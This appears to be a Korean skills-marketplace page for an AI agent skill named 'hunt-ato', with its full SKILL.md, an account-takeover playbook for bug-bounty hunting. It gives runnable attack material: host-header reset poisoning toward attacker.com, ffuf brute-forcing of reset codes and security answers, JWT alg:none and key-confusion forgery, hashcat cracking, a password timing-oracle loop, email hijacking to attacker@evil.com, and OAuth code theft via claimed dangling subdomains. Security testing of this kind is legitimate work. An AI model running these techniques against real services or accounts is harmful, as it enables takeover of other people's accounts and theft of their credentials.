본문으로 건너뛰기
cccskills
무료GitHub에 공개

hunt-ato

Assess account takeover risks across password resets, email changes, JWT tokens, SSO, and recovery flows. The skill connects individual weaknesses into testable scenarios and requires proof that an attacker session can gain access to a separate test account.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

원문원문 설명 보기

Hunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical.

연동 도구AWS
설치 방법 보기

이럴 때 유용합니다

  • Review password reset links and token handling
  • Check reauthentication for email and password changes
  • Assess takeover risks involving JWT and SSO
  • Validate takeover scenarios using separate test accounts

포함된 파일(1)

  • SKILL.md13.3 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

13. ATO — ACCOUNT TAKEOVER TAXONOMY

9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.

Path 1: Password Reset Poisoning (Host-Header)

POST /forgot-password HTTP/1.1
Host: attacker.com                 # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com

email=victimB@company.com

The reset mailer builds the link from the request Host header → link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof. False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.

Path 2: Reset Token in Referer / Open-Redirect Leak

GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends  Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls

Also test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body — note their absence.

Path 3: Predictable / Weak Reset Tokens

# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"victimB@company.com","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable

Discipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected — the impact is token guessing, not request flooding.

Path 4: Token No-Expiry / Reuse / Cross-Account

Expiry:  request token → wait 2h → still valid? = bug
Reuse:   use token once → use again → still valid? = bug
Multi:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross:   does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset

Path 5: Email Change Without Re-Auth

PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"attacker@evil.com"}     # no current_password, no OTP, no email-confirm

If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth.

Path 6: JWT Manipulation

# (a) alg:none — strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl -s https://target.com/.well-known/jwks.json   # or /oauth/.well-known/...  grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)

Verified grounding for this class: CVE-2015-9235 (node jsonwebtoken <4.2.2 — alg confusion / none bypass), CVE-2016-10555 (jwt-simple RS256→HS256). Validate: forged token must reach a privileged endpoint as victim B (e.g. GET /api/admin or /api/users/B) — decoding/forging is not impact; an authorized action under B's identity is. If the server ignores the forged sub and keys off the session cookie, the JWT is not the trust boundary — no finding.

Path 7: Password Change Without Step-Up + Login Oracle

# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
POST /api/account/password
Cookie: session=STOLEN_B_COOKIE        # from XSS, session-fixation, or token leak
{"new_password":"Pwned#2026"}          # no "current_password" field
#
# (b) login oracle to find a valid password without an existing cookie — measure response delta:
for p in $(cat candidates.txt); do
  t=$(curl -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
  printf '%s\t%s\n' "$t" "$p"
done | sort -n     # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass

A no-step-up password-change endpoint is the persistence multiplier: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device/IP, victim locked out. False-positive check: confirm there is genuinely no current-password / MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change (try logging in with the new password from a clean browser).

Path 8: Social-Recovery / Security-Question Abuse

# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:
ffuf -u "https://target.com/account/recover/answer" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"victimB@company.com","question":"pet","answer":"FUZZ"}' \
  -w common-answers.txt -mc 200 -fr "incorrect" -t 5
# also test: answers returned/echoed in /api/me or recovery page source (client-side check)
# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)

Pair with offensive-osint: many "secret" answers (birth city, pet, school) are public on social profiles → no brute needed. Validate by completing the recovery flow end-to-end into a session on account B.

Path 9: SSO Subdomain Takeover at OAuth redirect_uri

# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?
GET /oauth/authorize?client_id=...&redirect_uri=https://anything.target.com/cb&response_type=code
# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku/S3/Azure/GH-Pages) via hunt-subdomain:
dig +short staging.target.com    # CNAME -> nonexistent-app.herokuapp.com  (NXDOMAIN on the target)
# (c) claim that host on the cloud provider, serve a callback that logs the ?code=
# (d) send victim B the crafted authorize URL -> their code/token lands on your claimed subdomain

Confirmation = OOB: the auth code (or implicit access_token) must actually arrive at the host you claimed — log it server-side and exchange it for B's token. A redirect_uri that merely reflects an off-origin value but bounces the code through a server-pinned exchange is not exploitable. Decode any error body as JSON, not substring — AADSTS50076 / claims-challenge responses contain a literal access_token substring inside the claims field that is NOT a usable token.

Path 10: Pre-Account / Unverified-Account Takeover

The victim's account exists in a pending/unverified state (invite not accepted, signup email never confirmed, or no email on file). Claim it first: register or attach your controlled email to that identity, then let the victim complete SSO/OTP login and inherit the attacker-seeded state — or trigger a reset once your email is attached. Test invite/pending flows and any endpoint that writes an email to an account lacking a confirmed one; confirm the victim, after signing in, lands in the account you seeded. High impact, no token interaction. Disclosed: reports/1679734, reports/394329.

Path 11: Passwordless / Magic-Link Abuse by Identifier

A passwordless-signup / magic-login / OTP-login endpoint that sets or resets a password (or issues a session) given only an enumerable identifier (phone/email), with no token step. Probe *passwordless*, *magic*, */otp-login, */signup: does supplying only a phone/email set the password or return a session for that identity? Enumerate identifiers to prove arbitrary-account reach; validate by taking test account B via its number alone. Disclosed: reports/143717.

ATO Severity Gate

  • Critical — zero/low victim interaction: Host-header reset poisoning, JWT forgery to victim endpoint, lax-redirect_uri auth-code theft, IDOR-driven email change → reset.
  • High — one email click OR a pre-existing session/cookie required (Referer leak, no-step-up password change behind cookie theft).
  • Medium — requires phishing + active user interaction (OAuth-link CSRF needing the victim to click + be logged in).
  • Low — attacker must be MitM, or only self-account impact.

Related Skills & Chains

  • hunt-idor — The most reliable ATO primitive that needs no email control and no race. Chain primitive: PATCH /api/users/{victimB_uid} with attacker-A session + victim UID + {"email":"attacker@evil.com"} → trigger password reset → reset email arrives at attacker → full ATO, zero victim interaction (Path 5 + IDOR = Critical).
  • hunt-mfa-bypass — Path 7 is only Critical if it also bypasses MFA. Chain primitive: password-change endpoint accepts a new password with no current-password challenge AND no MFA step-up → cookie theft (XSS / token leak) + login timing oracle → set new password from the stolen cookie → MFA-less ATO from any IP/device.
  • hunt-oauth — Path 9 lives here. Chain primitive: redirect_uri validation accepts subdomain match (*.target.com) + hunt-subdomain reveals a dangling CNAME on staging.target.com → claim it on Heroku/S3 → host an OAuth callback → victim clicks the crafted authorize URL → code lands on the attacker subdomain → exchange for token → ATO. Always JSON-parse OAuth error bodies; never substring-match access_token.
  • hunt-api-misconfig — Path 6 (JWT) detail lives here too: alg:none, RS256→HS256 key confusion (sign with the JWKS public key as the HMAC secret), kid path-traversal / SQLi, and weak-secret cracking (hashcat -m 16500). Load it together with this skill for the JWK→PEM conversion mechanics.
  • hunt-host-header — Path 1 canonical primitive. Chain primitive: POST /forgot-password with Host/X-Forwarded-Host: attacker.com → mailer builds the link from the request Host → link points to attacker.com/reset?token=XXXX → victim clicks → token leaked → ATO. Confirm via Collaborator-hosted domain reading the real email, not the reflected header.
  • offensive-osint — Path 8 force-multiplier: most security-question answers (birth city, pet, first school, mother's maiden name) are OSINT-able from social profiles → recover account B with no brute force at all.
  • security-arsenal — Pull the Password-Reset Bypass Tables (X-Forwarded-Host, X-Host, X-HTTP-Host-Override, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), the JWT attack table, and the always-rejected list for "rate-limit on /forgot-password" reports.
  • triage-validation — Run the Pre-Severity Gate before claiming Critical on an ATO that needs the victim to click a link AND enter credentials AND pass CAPTCHA. The reproducibility step (10-minute fresh-browser walkthrough taking over test account B from attacker A's session) separates Critical-paid from Self-XSS-tier rejected.

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Inspect Android apps for embedded credentials, internal API addresses, and components exposed to other apps. The skill guides APK acquisition, code inspection, and runtime traffic analysis to support a mobile security assessment.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Inventory Android apps included in a security assessment
  • Check APKs for embedded credentials and internal API addresses
  • Review components that other apps can invoke
elementalsouls/Claude-BugHunter5.2천2026년 10월 21일 업데이트

Guide bug bounty work from asset discovery to validation and reporting, while resolving local locations of security tools, wordlists, and cloned projects. It covers web and AI security testing with an emphasis on demonstrated impact.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Locate installed security tools and wordlists
  • Plan reconnaissance within a program's scope
  • Investigate related weaknesses and their combined impact
elementalsouls/Claude-BugHunter5.2천2026년 10월 21일 업데이트

Organize a bug bounty investigation from reconnaissance through reporting. The skill helps choose a focused objective, identify the current phase, select relevant techniques and tools, and distinguish reproducible security impact from misleading test results.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Setting objectives at the start of an investigation
  • Choosing the next step when testing stalls
  • Replanning after switching targets
elementalsouls/Claude-BugHunter5.2천2026년 10월 21일 업데이트

Guide bug bounty work from checking authorized scope and discovering assets to testing web and AI features. Validate practical impact, investigate related weaknesses, and organize reproducible evidence into a vulnerability report.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Planning research for a new bug bounty target
  • Reviewing source code for security weaknesses
  • Testing chatbot and AI feature security
elementalsouls/Claude-BugHunter5.2천2026년 10월 21일 업데이트

Prepare Bugcrowd submissions with accurate vulnerability categories, evidence-based severity requests, and explanations of program scope. Structure references between related reports, document QA testing conditions, and draft responses when a finding is downgraded or considered out of scope.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Choose a suitable Bugcrowd vulnerability category
  • Explain a severity request using demonstrated impact
  • Respond to out-of-scope decisions
elementalsouls/Claude-BugHunter5.2천2026년 10월 21일 업데이트

Assess what discovered cloud credentials allow across AWS, Azure, GCP, and Kubernetes. The skill guides identity checks, permission review, and paths to higher privileges, then helps document impact, activity, and cleanup within the engagement's agreed scope.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Assess permissions granted by discovered cloud credentials
  • Review role trust and access across cloud accounts
  • Check permissions assigned to anonymous Cognito identities
elementalsouls/Claude-BugHunter5.2천2026년 10월 21일 업데이트

elementalsouls의 스킬 모두 보기

이 스킬의 문제 신고